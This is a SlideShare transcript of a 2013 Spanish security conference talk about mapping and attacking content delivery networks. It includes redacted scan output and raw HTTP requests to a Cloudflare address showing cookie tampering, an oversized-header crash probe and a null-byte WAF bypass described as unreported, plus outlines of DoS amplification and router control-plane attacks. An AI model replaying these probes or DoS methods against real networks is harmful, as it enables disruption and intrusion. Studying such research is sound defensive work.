SlideShare una empresa de Scribd logo
Adivina quién viene a CDNear esta noche
Alejandro Nolla
Felipe Martín
NAVAJA NEGRA
CONFERENCE 2013
SHALL WE PLAY A GAME?
Love to. How about attacking a CDN?
WOULDN’T YOU PREFER A GOOD GAME OF CHESS?
class AlejandroNolla(mandalorian):

#---------------------------------------------------------------------def __init__(self):
self.name = 'Alejandro Nolla Blanco'
self.nickname = 'z0mbiehunt3r'
self.role = 'Threat Intelligence Analyst'
self.interests = ['networking', 'python',
'offensive security']
Felipe Martín

•
•
•
•
•

Programador coj*nudo
Y mejor amigo ;)
Se ha currado toda la
interfaz
Troll friend is troll
@fmartingr
¿Qué es y cómo funciona una red CDN?

Servidor de origen
www.dominio.com
www.dominio.com
Pero no toques, ¿por qué tocas?

•
•
•
•

Utilización cada vez más habitual
Falsa sensación de invulnerabilidad
Mucho por aprender e investigar
Aritmética básica

+

=
Vectores de ataque

Servidor de origen
www.dominio.com
Vectores de ataque

Servidor de origen
www.dominio.com
Vectores de ataque

Servidor de origen
www.dominio.com
Vectores de ataque

Proveedor del servicio

Servidor de origen
www.dominio.com
Target #1: Frontales CDN

•
•

Geolocalización de IPs de servidores

•

Asociación geolocalización -> País servido

•

Detección de balanceadores de carga/WAF/IPS

•

Qué

Resolución DNS masiva

Identificación de servicios

Resol. DNS

Cómo

Análisis tecn.

Ident. servicios
Nmap scan report for xxx.xxx.xxx.163

PORT

STATE

SERVICE

REASON

VERSION

20/tcp

closed

ftp-data

reset

21/tcp

closed

ftp

reset

25/tcp

closed

smtp

reset

53/tcp

closed

domain

reset

80/tcp

open

http

syn-ack

nginx

443/tcp

open

http

syn-ack

nginx

878/tcp

closed

unknown

reset

3333/tcp

open

ssh

syn-ack

OpenSSH 4.3 (protocol 2.0)

8786/tcp

open

http

reset

Django httpd (WSGIServer 0.1;
Python 2.4.3)

10050/tcp

open

tcpwrapped

syn-ack
Nmap scan report for xxx.xxx.xxx.36

PORT

STATE

SERVICE

REASON

VERSION

80/tcp

open

http

syn-ack

nginx 1.0.14

443/tcp

open

http

syn-ack

nginx 1.0.14

2121/tcp

open

ftp

syn-ack

ProFTPD 1.3.3c

3333/tcp

open

ssh

syn-ack

OpenSSH 4.3 (protocol 2.0)

8080/tcp

open

http

syn-ack

Apache httpd 2.2.3 ((CentOS))

8786/tcp

open

http

syn-ack

Django httpd (WSGIServer 0.1;
Python 2.4.3)

10050/tcp

open

tcpwrapped

syn-ack
Target #2: Infraestructura de red WAN
“Ecosistema” WAN

•

•

•

BGP
• ASn / prefijos
• Transit / Peering / IXP
Routers
• Protocolos
• Fabricante
• Características
• Rol
Topologías
Jefe! Una de traceroute....
Infiriendo la arquitectura
• Cada prueba UDP utiliza un puerto de origen distinto
10	
  xxx.xxx.18.152	
  44	
  msec	
  48	
  msec	
  120	
  msec
11	
  xxx.xxx.18.197	
  44	
  msec
	
  	
  	
  xxx.xxx.18.203	
  40	
  msec	
  44	
  msec
12	
  xxx.xxx.118.134	
  40	
  msec	
  44	
  msec
	
  	
  	
  xxx.xxx.118.138	
  44	
  msec
13	
  xxx.xxx.240.195	
  44	
  msec	
  44	
  msec	
  40	
  msec

xxx.xxx.18.203

xxx.xxx.118.138

xxx.xxx.18.152

xxx.xxx.240.195
xxx.xxx.18.197

xxx.xxx.118.134
Infiriendo la arquitectura
• Cada prueba UDP utiliza un puerto de origen distinto
10	
  xxx.xxx.18.152	
  44	
  msec	
  48	
  msec	
  120	
  msec
11	
  xxx.xxx.18.197	
  44	
  msec
	
  	
  	
  xxx.xxx.18.203	
  40	
  msec	
  44	
  msec
12	
  xxx.xxx.118.134	
  40	
  msec	
  44	
  msec
	
  	
  	
  xxx.xxx.118.138	
  44	
  msec
13	
  xxx.xxx.240.195	
  44	
  msec	
  44	
  msec	
  40	
  msec

xxx.xxx.18.203

xxx.xxx.118.138

xxx.xxx.18.152

xxx.xxx.240.195
xxx.xxx.18.197

xxx.xxx.118.134
Infiriendo la arquitectura
• Cada prueba UDP utiliza un puerto de origen distinto
10	
  xxx.xxx.18.152	
  44	
  msec	
  48	
  msec	
  120	
  msec
11	
  xxx.xxx.18.197	
  44	
  msec
	
  	
  	
  xxx.xxx.18.203	
  40	
  msec	
  44	
  msec
12	
  xxx.xxx.118.134	
  40	
  msec	
  44	
  msec
	
  	
  	
  xxx.xxx.118.138	
  44	
  msec
13	
  xxx.xxx.240.195	
  44	
  msec	
  44	
  msec	
  40	
  msec

xxx.xxx.18.203

xxx.xxx.118.138

xxx.xxx.18.152

xxx.xxx.240.195
xxx.xxx.18.197

xxx.xxx.118.134
Infiriendo la arquitectura
• Cada prueba UDP utiliza un puerto de origen distinto
10	
  xxx.xxx.18.152	
  44	
  msec	
  48	
  msec	
  120	
  msec
11	
  xxx.xxx.18.197	
  44	
  msec
	
  	
  	
  xxx.xxx.18.203	
  40	
  msec	
  44	
  msec
12	
  xxx.xxx.118.134	
  40	
  msec	
  44	
  msec
	
  	
  	
  xxx.xxx.118.138	
  44	
  msec
13	
  xxx.xxx.240.195	
  44	
  msec	
  44	
  msec	
  40	
  msec

xxx.xxx.18.203

xxx.xxx.118.138

xxx.xxx.18.152

xxx.xxx.240.195
xxx.xxx.18.197

xxx.xxx.118.134
Resolución inversa DNS

•
•
•

Comúnmente utilizado para troubleshooting
Puede proporcionar valiosa información
xe-11-1-0.edge1.NewYork1.Level3.net
• Fabricante: juniper
• Tipo de interfaz: 10_gigabit_ethernet
• Rol: peering
• Localización: Nueva York
• Propietario: level3
Conexiones activas en el router

161/udp open snmp udp-response
| snmp-netstat:
| TCP xxx.xxx.xxx.34:23
xxx.xxx.xxx.202:49197
| TCP xxx.xxx.xxx.2:27692
xxx.xxx.xxx.1:179
| TCP xxx.xxx.xxx.196:26114 xxx.xxx.xxx.206:23
| TCP xxx.xxx.xxx.196:37388 xxx.xxx.xxx.150:179
| TCP xxx.xxx.xxx.203:12500 xxx.xxx.xxx.206:179
| TCP xxx.xxx.xxx.203:17543 xxx.xxx.xxx.205:179
| TCP xxx.xxx.xxx.203:32355 xxx.xxx.xxx.201:179
| TCP xxx.xxx.xxx.203:56588 xxx.xxx.xxx.33:179
| UDP xxx.xxx.xxx.196:123
*:*
| UDP xxx.xxx.xxx.196:161
*:*
|_ UDP xxx.xxx.xxx.196:162
*:*
Conexiones activas en el router

161/udp open snmp udp-response
| snmp-netstat:
| TCP xxx.xxx.xxx.34:23
xxx.xxx.xxx.202:49197
| TCP xxx.xxx.xxx.2:27692
xxx.xxx.xxx.1:179
| TCP xxx.xxx.xxx.196:26114 xxx.xxx.xxx.206:23
| TCP xxx.xxx.xxx.196:37388 xxx.xxx.xxx.150:179
| TCP xxx.xxx.xxx.203:12500 xxx.xxx.xxx.206:179
| TCP xxx.xxx.xxx.203:17543 xxx.xxx.xxx.205:179
| TCP xxx.xxx.xxx.203:32355 xxx.xxx.xxx.201:179
| TCP xxx.xxx.xxx.203:56588 xxx.xxx.xxx.33:179
| UDP xxx.xxx.xxx.196:123
*:*
| UDP xxx.xxx.xxx.196:161
*:*
|_ UDP xxx.xxx.xxx.196:162
*:*

Telnet
Conexiones activas en el router

161/udp open snmp udp-response
| snmp-netstat:
| TCP xxx.xxx.xxx.34:23
xxx.xxx.xxx.202:49197
| TCP xxx.xxx.xxx.2:27692
xxx.xxx.xxx.1:179
| TCP xxx.xxx.xxx.196:26114 xxx.xxx.xxx.206:23
| TCP xxx.xxx.xxx.196:37388 xxx.xxx.xxx.150:179
| TCP xxx.xxx.xxx.203:12500 xxx.xxx.xxx.206:179
| TCP xxx.xxx.xxx.203:17543 xxx.xxx.xxx.205:179
| TCP xxx.xxx.xxx.203:32355 xxx.xxx.xxx.201:179
| TCP xxx.xxx.xxx.203:56588 xxx.xxx.xxx.33:179
| UDP xxx.xxx.xxx.196:123
*:*
| UDP xxx.xxx.xxx.196:161
*:*
|_ UDP xxx.xxx.xxx.196:162
*:*

BGP
Interfaces en el router

161/udp open snmp udp-response
| snmp-interfaces:
| GigabitEthernet0/1
| IP address: xxx.xxx.xxx.196 Netmask: 255.255.255.248
| MAC address: 00:14:a8:00:00:2c (Cisco Systems)
| Type: ethernetCsmacd Speed: 1 Gbps
| Status: up
| Traffic stats: 722.55 Mb sent, 4.19 Gb received
| GigabitEthernet0/2
| IP address: yyy.yyy.yyy.2 Netmask: 255.255.255.252
| MAC address: 00:14:a8:00:00:2d (Cisco Systems)
| Type: ethernetCsmacd Speed: 1 Gbps
| Status: up
| Traffic stats: 3.22 Gb sent, 3.13 Gb received
| Loopback7
| IP address: xxx.xxx.xxx.203 Netmask: 255.255.255.255
| Type: softwareLoopback Speed: 4 Gbps
| Status: up
|_ Traffic stats: 0.00 Kb sent, 0.00 Kb received
Interfaces en el router

161/udp open snmp udp-response
| snmp-interfaces:
| GigabitEthernet0/1
| IP address: xxx.xxx.xxx.196 Netmask: 255.255.255.248
| MAC address: 00:14:a8:00:00:2c (Cisco Systems)
| Type: ethernetCsmacd Speed: 1 Gbps
| Status: up
| Traffic stats: 722.55 Mb sent, 4.19 Gb received
| GigabitEthernet0/2
| IP address: yyy.yyy.yyy.2 Netmask: 255.255.255.252
| MAC address: 00:14:a8:00:00:2d (Cisco Systems)
| Type: ethernetCsmacd Speed: 1 Gbps
| Status: up
| Traffic stats: 3.22 Gb sent, 3.13 Gb received
| Loopback7
| IP address: xxx.xxx.xxx.203 Netmask: 255.255.255.255
| Type: softwareLoopback Speed: 4 Gbps
| Status: up
|_ Traffic stats: 0.00 Kb sent, 0.00 Kb received
Interfaces en el router

161/udp open snmp udp-response
| snmp-interfaces:
| GigabitEthernet0/1
| IP address: xxx.xxx.xxx.196 Netmask: 255.255.255.248
| MAC address: 00:14:a8:00:00:2c (Cisco Systems)
| Type: ethernetCsmacd Speed: 1 Gbps
| Status: up
| Traffic stats: 722.55 Mb sent, 4.19 Gb received
| GigabitEthernet0/2
| IP address: yyy.yyy.yyy.2 Netmask: 255.255.255.252
| MAC address: 00:14:a8:00:00:2d (Cisco Systems)
| Type: ethernetCsmacd Speed: 1 Gbps
| Status: up
| Traffic stats: 3.22 Gb sent, 3.13 Gb received
| Loopback7
| IP address: xxx.xxx.xxx.203 Netmask: 255.255.255.255
| Type: softwareLoopback Speed: 4 Gbps
| Status: up
|_ Traffic stats: 0.00 Kb sent, 0.00 Kb received

BGP/OSPF
Identificando Anycast BGP (RIPEstat)
Latencia de red (serialización + buffering + propagación)

•

Serialización :
•
Tamaño de paquete / Velocidad del enlace
•
1500 bytes / 1Gbps = 0.12ms de retardo

•

Buffering o encolado:
•
Depende de la congestión del interfaz

•

Propagación:
•
Velocidad de la luz en el vacío ~300,000km/seg
•
Índice de refracción de la fibra óptica ~1.48
•
Velocidad de la luz en fibra óptica ~200,000km/seg (300,000*(1/1.48))

•

RTT mide el tiempo de ida y vuelta
Latencia de red (serialización + buffering + propagación)

•

Serialización :
•
Tamaño de paquete / Velocidad del enlace
•
1500 bytes / 1Gbps = 0.12ms de retardo

•

Buffering o encolado:
•
Depende de la congestión del interfaz

•

Propagación:
•
Velocidad de la luz en el vacío ~300,000km/seg
•
Índice de refracción de la fibra óptica ~1.48
•
Velocidad de la luz en fibra óptica ~200,000km/seg (300,000*(1/1.48))

•

RTT mide el tiempo de ida y vuelta
Trilateración
Trilateración
IXP (Internet Exchange Point)

•
•
•
•

Puntos de intercambio de tráfico
La seguridad es responsabilidad de cada participante
Localizaciones comunes para las principales redes CDN
peeringdb.com: BBDD pública con información de peering
• Peering públicos
• Peering privados
• Capacidades del enlace
• Información variada sobre el tráfico
IXP en el mapa de Internet
Target #3: Servidor de origen

•
•
•

Necesitamos potenciales candidatos (ASn/rangos)
Solicitar recurso no cacheable
• GET / buscador/?query=consulta HTTP/1.1
Dos vías de análisis
• Cabeceras HTTP
• Contenido de la respuesta
Análisis de cabeceras HTTP
AKAMAI

Servidor de Origen

HTTP/1.1 200 OK

HTTP/1.1 200 OK

Server: IBM_HTTP_Server
Accept-Ranges: bytes

Date: Sun, 20 Nov 2012
10:12:20 GMT

Content-Type: text/html

Server: IBM_HTTP_Server

Content-Length: 2032

Accept-Ranges: bytes

Date: Sun, 20 Nov 2012
10:12:16 GMT

Content-Length: 2032

Connection: keep-alive

Vary: Accept-Encoding

Vary: Accept-Encoding

Content-Type: text/html
Análisis de cabeceras HTTP
AKAMAI

Servidor de Origen

HTTP/1.1 200 OK

HTTP/1.1 200 OK

Server: IBM_HTTP_Server
Accept-Ranges: bytes

Date: Sun, 20 Nov 2012
10:12:20 GMT

Content-Type: text/html

Server: IBM_HTTP_Server

Content-Length: 2032

Accept-Ranges: bytes

Date: Sun, 20 Nov 2012
10:12:16 GMT

Content-Length: 2032

Connection: keep-alive

Vary: Accept-Encoding

Vary: Accept-Encoding

Content-Type: text/html
Análisis de cabeceras HTTP
AKAMAI

Servidor de Origen

HTTP/1.1 200 OK

HTTP/1.1 200 OK

Server: IBM_HTTP_Server
Accept-Ranges: bytes

Date: Sun, 20 Nov 2012
10:12:20 GMT

Content-Type: text/html

Server: IBM_HTTP_Server

Content-Length: 2032

Accept-Ranges: bytes

Date: Sun, 20 Nov 2012
10:12:16 GMT

Content-Length: 2032

Connection: keep-alive

Vary: Accept-Encoding

Vary: Accept-Encoding

Content-Type: text/html
Análisis de cabeceras HTTP
AKAMAI

Servidor de Origen

HTTP/1.1 200 OK

HTTP/1.1 200 OK

Server: IBM_HTTP_Server
Accept-Ranges: bytes

Date: Sun, 20 Nov 2012
10:12:20 GMT

Content-Type: text/html

Server: IBM_HTTP_Server

Content-Length: 2032

Accept-Ranges: bytes

Date: Sun, 20 Nov 2012
10:12:16 GMT

Content-Length: 2032

Connection: keep-alive

Vary: Accept-Encoding

Vary: Accept-Encoding

Content-Type: text/html
Análisis de cabeceras HTTP
AKAMAI

Servidor de Origen

HTTP/1.1 200 OK

HTTP/1.1 200 OK

Server: IBM_HTTP_Server
Accept-Ranges: bytes

Date: Sun, 20 Nov 2012
10:12:20 GMT

Content-Type: text/html

Server: IBM_HTTP_Server

Content-Length: 2032

Accept-Ranges: bytes

Date: Sun, 20 Nov 2012
10:12:16 GMT

Content-Length: 2032

Connection: keep-alive

Vary: Accept-Encoding

Vary: Accept-Encoding

Content-Type: text/html
Resultados en entorno real

•
•

•
•

No somos vulnerables a DDoS, usamos CDN (ahí, provocando)
Se descubrieron los servidores de origen
• De producción
• De pre-producción
• Así como servidores de pruebas
Vulnerables a múltiples ataques DoS
Detección de balanceadores de carga
• Y enumeración de IPs internas
Resultados en entorno real

•
•

•
•

No somos vulnerables a DDoS, usamos CDN (ahí, provocando)
Se descubrieron los servidores de origen
• De producción
• De pre-producción
• Así como servidores de pruebas
Vulnerables a múltiples ataques DoS
Detección de balanceadores de carga
• Y enumeración de IPs internas
Target #4: Proveedor servicio CDN

•
•
•
•
•

Notificadas múltiples vulnerabilidades
Comunicación sólo hasta tener datos
Rápidamente arregladas
Múltiples intentos (infructuosos) de feedback
Varias vulnerabilidades no notificadas :D
XSS Reflejado / Almacenado
Session Fixation

GET / HTTP/1.1
Host: 190.93.240.253 ; __cfuid=cookie_tampering
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:21.0) Gecko/20100101 Firefox/21.0
[...]

HTTP/1.1 409 Conflict
Server: cloudflare-nginx
Date: Sat, 06 Jul 2013 19:12:03 GMT
Content-Type: text/html
Connection: keep-alive
Cache-Control: max-age=6
Expires: Sat, 06 Jul 2013 19:12:09 GMT
CF-RAY: 89e9ab725d3024a
Set-Cookie: __cfduid=d06b07472e09dc[...]fc71373137923; expires=Mon, 23-Dec-2019 23:50:00
GMT; path=/; domain=.240.253; __cfuid=cookie_tampering
Content-Length: 2707
Potencial DoS/BoF de servidor backend

GET / HTTP/1.1
Host: 190.93.240.253
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBC
[...]

HTTP/1.1 504 Gateway Time-out
Server: cloudflare-nginx
Date: Sat, 06 Jul 2013 19:14:11 GMT
Content-Type: text/html
Content-Length
Connection: keep-alive
CF-RAY: 89e9ab725d3024a
Set-Cookie: __cfduid=d06b[...]7923; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.
240.253 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbc
Posible bypass de WAF (no notificado)

GET /api/v2/zstore/get?zsn=preset&z=aaaa.com</>&atok=1374[...]63 HTTP/1.1
Host: www.cloudflare.com
[...]

HTTP/1.1 200 OK
Server: cloudflare-nginx
[...]
Content-Length: 71
{"request":{"act":"zstore_get"},"result":"error","msg":"Invalid zone."}
Posible bypass de WAF (no notificado)

GET /api/v2/zstore/get?zsn=preset&z=aaaa.com%00</>&atok=1374[...]63 HTTP/1.1
Host: www.cloudflare.com
[...]

HTTP/1.1 200 OK
Server: cloudflare-nginx
[...]
Content-Length: 169
{"request":{"act":"zstore_get"},"result":"error","msg":"Could not find aaaa.comu0000&lt;/&gt; under
your account. Domains must be signed up and active on CloudFlare."}
¿Atacar un CDN?
¿Atacar un CDN?
¿Atacar un CDN?
Atacar un CDN

•

Mapear infraestructura existente

•

Comprender la cohesión

•

Identificar puntos débiles

•

“It’s not a bug, it’s a feature”

•

Comprender la arquitectura interna
de los dispositivos
El ataque de los cinco puntos de presión
Network boundaries y relaciones BPG

•

Identificación de fronteras de la red:
• Aplicación de políticas de enrutamiento
• Zona crítica en cuanto a capacidad y funcionamiento del routing
• 4 te1-2-10g.ar3.DCA3.gblx.net (67.17.108.146)
• 5 sl-st21-ash-8-0-0.sprintlink.net (144.232.18.65)

•

Identificación de relación BGP
• t2-1.peer01.loudoun.va.ena.net (207.191.187.106)
• ip65-46-186-97.z186-46-65.customer.algx.net (65.46.186.97)
Network boundaries y relaciones BPG

Transit ISP

ISP Backbone
Peer ISP

Cliente 2
Cliente 1
Explotando las relaciones entre peers

Peering
Transit
Provider A

Provider B

Provider C

Multi-Homed
Customer

Customer
Customer

Customer

Customer
Customer

Customer
Explotando las relaciones entre peers

Peering
Transit
Provider A

Provider B

Provider C

Multi-Homed
Customer

Customer
Customer

Customer

Customer
Customer

Customer
CDN-minigun (amplificando, que es gerundio)

•

•
•
•

Necesitamos asegurar el “hit”
• Solicitar recurso no existente (forzamos un 404)
• Solicitar recurso no cacheable
• Jugamos con la cabecera “Vary”
No necesitamos recibir la respuesta del CDN ;)
Solicitamos recursos pesados
Throughput: peticiones/sec * IPs origen * frontales CDN
Arquitectura en los routers

Imagen obtenida de http://wiki.nil.com/Control_and_Data_plane
Procesamiento de paquetes

Slow Path (Control Plane)
•
•
•

Protocolos de enrutamiento (Routing Information Database)
Procesador RISC (Instrucciones en software)
Maneja algunas excepciones (IP options, ICMP generation, etc)

Fast Path (Data Plane)
•
•

Paquetes enviados a través del router
Circuitos integrados ASIC (Instrucciones en hardware)
Atacando el control plane

•

•
•

¿Fallo en el enlace?
• Pérdida de sesión BGP
• Efecto cascada (withdrawal de prefijos)
Consumir CPU / buffers
Low-Rate TCP-Targeted DoS / CXPST
Conclusiones

•

•
•

Una red CDN es un conjunto de redes
• Múltiples y diversos dispositivos
• Diferentes políticas de seguridad
Mayor superficie de ataque
Son necesarios técnicas y ataques más
elaboradas
Rondita de preguntas

@z0mbiehunt3r
blog.alejandronolla.com
alejandro.nolla@gmail.com

Más contenido relacionado

La actualidad más candente

Práctica final acl
Práctica final aclPráctica final acl
Práctica final aclchinazo
 
Vins Villaplana - Seguridad en capa de enlace [RootedCON 2011]
Vins Villaplana - Seguridad en capa de enlace [RootedCON 2011]Vins Villaplana - Seguridad en capa de enlace [RootedCON 2011]
Vins Villaplana - Seguridad en capa de enlace [RootedCON 2011]RootedCON
 
Genaro rodriguez reynoso prectica 5 tra
Genaro rodriguez reynoso prectica 5  traGenaro rodriguez reynoso prectica 5  tra
Genaro rodriguez reynoso prectica 5 tra
Genaro Rodriguez
 
DDoS detection at small ISP by Wardner Maia
DDoS detection at small ISP by Wardner MaiaDDoS detection at small ISP by Wardner Maia
DDoS detection at small ISP by Wardner Maia
Pavel Odintsov
 
Gabriel Gonzalez - Man-In-Remote: PKCS11 for fun and non-profit [RootedCON 2011]
Gabriel Gonzalez - Man-In-Remote: PKCS11 for fun and non-profit [RootedCON 2011]Gabriel Gonzalez - Man-In-Remote: PKCS11 for fun and non-profit [RootedCON 2011]
Gabriel Gonzalez - Man-In-Remote: PKCS11 for fun and non-profit [RootedCON 2011]RootedCON
 
Detectando DDoS e intrusiones con RouterOS
Detectando DDoS e intrusiones con RouterOSDetectando DDoS e intrusiones con RouterOS
Detectando DDoS e intrusiones con RouterOS
Pavel Odintsov
 
Tecnologías libres para túneles y VPNs
Tecnologías libres para túneles y VPNsTecnologías libres para túneles y VPNs
Tecnologías libres para túneles y VPNs
Rodolfo Pilas
 
Aircrack ng
Aircrack ngAircrack ng
Aircrack ng
Adrian Lopez
 
Redes 2 taller comandos router 2020-2
Redes 2   taller comandos router 2020-2Redes 2   taller comandos router 2020-2
Redes 2 taller comandos router 2020-2
Richard Eliseo Mendoza Gafaro
 
Vlan dhcp seridores dns web tftp
Vlan dhcp seridores dns web tftpVlan dhcp seridores dns web tftp
Vlan dhcp seridores dns web tftpyoes1053
 
Redes
RedesRedes
DoS En La Ciberguerra
DoS En La CiberguerraDoS En La Ciberguerra
DoS En La Ciberguerra
Alejandro Ramos
 
a little more about CaptureFilter
a little more about CaptureFiltera little more about CaptureFilter
a little more about CaptureFilter
@ otsuka752
 
Reto resuelto 7.5.2 PacketTracer
Reto resuelto 7.5.2 PacketTracerReto resuelto 7.5.2 PacketTracer
Reto resuelto 7.5.2 PacketTracer
mictla
 
Apuntes servidores
Apuntes servidoresApuntes servidores
Apuntes servidoresRene Zenteno
 
Practicas hackx crack_05
Practicas hackx crack_05Practicas hackx crack_05
Practicas hackx crack_05
Aldo Jamir Leone Icaza
 
Implementación de NAT/PAT en routers Cisco
Implementación de NAT/PAT en routers CiscoImplementación de NAT/PAT en routers Cisco
Implementación de NAT/PAT en routers Cisco
Paulo Colomés
 
I Know Your P4$$w0rd (And If I Don't, I Will Guess It...)
I Know Your P4$$w0rd (And If I Don't, I Will Guess It...)I Know Your P4$$w0rd (And If I Don't, I Will Guess It...)
I Know Your P4$$w0rd (And If I Don't, I Will Guess It...)
Jaime Sánchez
 

La actualidad más candente (19)

Práctica final acl
Práctica final aclPráctica final acl
Práctica final acl
 
Vins Villaplana - Seguridad en capa de enlace [RootedCON 2011]
Vins Villaplana - Seguridad en capa de enlace [RootedCON 2011]Vins Villaplana - Seguridad en capa de enlace [RootedCON 2011]
Vins Villaplana - Seguridad en capa de enlace [RootedCON 2011]
 
Genaro rodriguez reynoso prectica 5 tra
Genaro rodriguez reynoso prectica 5  traGenaro rodriguez reynoso prectica 5  tra
Genaro rodriguez reynoso prectica 5 tra
 
DDoS detection at small ISP by Wardner Maia
DDoS detection at small ISP by Wardner MaiaDDoS detection at small ISP by Wardner Maia
DDoS detection at small ISP by Wardner Maia
 
Acl extendida
Acl extendidaAcl extendida
Acl extendida
 
Gabriel Gonzalez - Man-In-Remote: PKCS11 for fun and non-profit [RootedCON 2011]
Gabriel Gonzalez - Man-In-Remote: PKCS11 for fun and non-profit [RootedCON 2011]Gabriel Gonzalez - Man-In-Remote: PKCS11 for fun and non-profit [RootedCON 2011]
Gabriel Gonzalez - Man-In-Remote: PKCS11 for fun and non-profit [RootedCON 2011]
 
Detectando DDoS e intrusiones con RouterOS
Detectando DDoS e intrusiones con RouterOSDetectando DDoS e intrusiones con RouterOS
Detectando DDoS e intrusiones con RouterOS
 
Tecnologías libres para túneles y VPNs
Tecnologías libres para túneles y VPNsTecnologías libres para túneles y VPNs
Tecnologías libres para túneles y VPNs
 
Aircrack ng
Aircrack ngAircrack ng
Aircrack ng
 
Redes 2 taller comandos router 2020-2
Redes 2   taller comandos router 2020-2Redes 2   taller comandos router 2020-2
Redes 2 taller comandos router 2020-2
 
Vlan dhcp seridores dns web tftp
Vlan dhcp seridores dns web tftpVlan dhcp seridores dns web tftp
Vlan dhcp seridores dns web tftp
 
Redes
RedesRedes
Redes
 
DoS En La Ciberguerra
DoS En La CiberguerraDoS En La Ciberguerra
DoS En La Ciberguerra
 
a little more about CaptureFilter
a little more about CaptureFiltera little more about CaptureFilter
a little more about CaptureFilter
 
Reto resuelto 7.5.2 PacketTracer
Reto resuelto 7.5.2 PacketTracerReto resuelto 7.5.2 PacketTracer
Reto resuelto 7.5.2 PacketTracer
 
Apuntes servidores
Apuntes servidoresApuntes servidores
Apuntes servidores
 
Practicas hackx crack_05
Practicas hackx crack_05Practicas hackx crack_05
Practicas hackx crack_05
 
Implementación de NAT/PAT en routers Cisco
Implementación de NAT/PAT en routers CiscoImplementación de NAT/PAT en routers Cisco
Implementación de NAT/PAT en routers Cisco
 
I Know Your P4$$w0rd (And If I Don't, I Will Guess It...)
I Know Your P4$$w0rd (And If I Don't, I Will Guess It...)I Know Your P4$$w0rd (And If I Don't, I Will Guess It...)
I Know Your P4$$w0rd (And If I Don't, I Will Guess It...)
 

Destacado

Ref004 internet marketing
Ref004 internet marketingRef004 internet marketing
Ref004 internet marketingTran Tien
 
Service ability slideshare presenation
Service ability slideshare presenationService ability slideshare presenation
Service ability slideshare presenationserviceability
 
Kiran Inamdar wce
Kiran Inamdar wceKiran Inamdar wce
Kiran Inamdar wce
farjanat
 
Duoi Day BIEN
Duoi Day BIENDuoi Day BIEN
Duoi Day BIEN
tudovietnam
 
GI2014 ppt sredl+charvat layman – publish your data yourself
GI2014 ppt sredl+charvat layman – publish your data yourselfGI2014 ppt sredl+charvat layman – publish your data yourself
GI2014 ppt sredl+charvat layman – publish your data yourself
IGN Vorstand
 
Power point down on the farm
Power point down on the farmPower point down on the farm
Power point down on the farmbrandybroome
 
GI2016 ppt charvat workshop geoss &amp; conference inspire2016
GI2016 ppt charvat workshop geoss &amp; conference inspire2016GI2016 ppt charvat workshop geoss &amp; conference inspire2016
GI2016 ppt charvat workshop geoss &amp; conference inspire2016
IGN Vorstand
 
GI2012 sredl+team-implementing ows-v2
GI2012 sredl+team-implementing ows-v2GI2012 sredl+team-implementing ows-v2
GI2012 sredl+team-implementing ows-v2
IGN Vorstand
 
Mini lesson plan 1
Mini lesson plan 1Mini lesson plan 1
Mini lesson plan 1dykemaem
 
презентация1лб
презентация1лбпрезентация1лб
презентация1лб
NatalieVolodina
 
Chap 1 pfin
Chap 1 pfinChap 1 pfin
Chap 1 pfin
geojan88
 
Autonome voertuigen Thomas Claes Silke Ceyssens
Autonome voertuigen Thomas Claes Silke CeyssensAutonome voertuigen Thomas Claes Silke Ceyssens
Autonome voertuigen Thomas Claes Silke CeyssensSilkeCeyssens
 
GI2014 programme+proceedings final
GI2014 programme+proceedings finalGI2014 programme+proceedings final
GI2014 programme+proceedings final
IGN Vorstand
 
Apple iTable
Apple iTableApple iTable
Apple iTable
MaxCohen0804
 
Ego dj pp2
Ego dj pp2Ego dj pp2
Ego dj pp2
411Emmanuel
 

Destacado (20)

Anjan b'day
Anjan b'dayAnjan b'day
Anjan b'day
 
Ref004 internet marketing
Ref004 internet marketingRef004 internet marketing
Ref004 internet marketing
 
Service ability slideshare presenation
Service ability slideshare presenationService ability slideshare presenation
Service ability slideshare presenation
 
Kiran Inamdar wce
Kiran Inamdar wceKiran Inamdar wce
Kiran Inamdar wce
 
Duoi Day BIEN
Duoi Day BIENDuoi Day BIEN
Duoi Day BIEN
 
GI2014 ppt sredl+charvat layman – publish your data yourself
GI2014 ppt sredl+charvat layman – publish your data yourselfGI2014 ppt sredl+charvat layman – publish your data yourself
GI2014 ppt sredl+charvat layman – publish your data yourself
 
Weaslay
WeaslayWeaslay
Weaslay
 
Power point down on the farm
Power point down on the farmPower point down on the farm
Power point down on the farm
 
GI2016 ppt charvat workshop geoss &amp; conference inspire2016
GI2016 ppt charvat workshop geoss &amp; conference inspire2016GI2016 ppt charvat workshop geoss &amp; conference inspire2016
GI2016 ppt charvat workshop geoss &amp; conference inspire2016
 
Actividad 2 diplomado 2
Actividad 2 diplomado 2Actividad 2 diplomado 2
Actividad 2 diplomado 2
 
GI2012 sredl+team-implementing ows-v2
GI2012 sredl+team-implementing ows-v2GI2012 sredl+team-implementing ows-v2
GI2012 sredl+team-implementing ows-v2
 
Mini lesson plan 1
Mini lesson plan 1Mini lesson plan 1
Mini lesson plan 1
 
презентация1лб
презентация1лбпрезентация1лб
презентация1лб
 
Chap 1 pfin
Chap 1 pfinChap 1 pfin
Chap 1 pfin
 
Autonome voertuigen Thomas Claes Silke Ceyssens
Autonome voertuigen Thomas Claes Silke CeyssensAutonome voertuigen Thomas Claes Silke Ceyssens
Autonome voertuigen Thomas Claes Silke Ceyssens
 
Автолайф+
Автолайф+Автолайф+
Автолайф+
 
Moda verano
Moda veranoModa verano
Moda verano
 
GI2014 programme+proceedings final
GI2014 programme+proceedings finalGI2014 programme+proceedings final
GI2014 programme+proceedings final
 
Apple iTable
Apple iTableApple iTable
Apple iTable
 
Ego dj pp2
Ego dj pp2Ego dj pp2
Ego dj pp2
 

Similar a Adivina quién viene a CDNear esta noche

Administración de red servidores y seguridad
Administración de red servidores y seguridadAdministración de red servidores y seguridad
Administración de red servidores y seguridad
Emilio
 
Enrutamiento Dinámico con RIPv1 y RIPv2
Enrutamiento Dinámico con RIPv1 y RIPv2Enrutamiento Dinámico con RIPv1 y RIPv2
Enrutamiento Dinámico con RIPv1 y RIPv2
Ivan Luis Jimenez
 
Lab 6.7.1
Lab 6.7.1Lab 6.7.1
Lab 6.7.1UNAD
 
Lab 6.7.1
Lab 6.7.1Lab 6.7.1
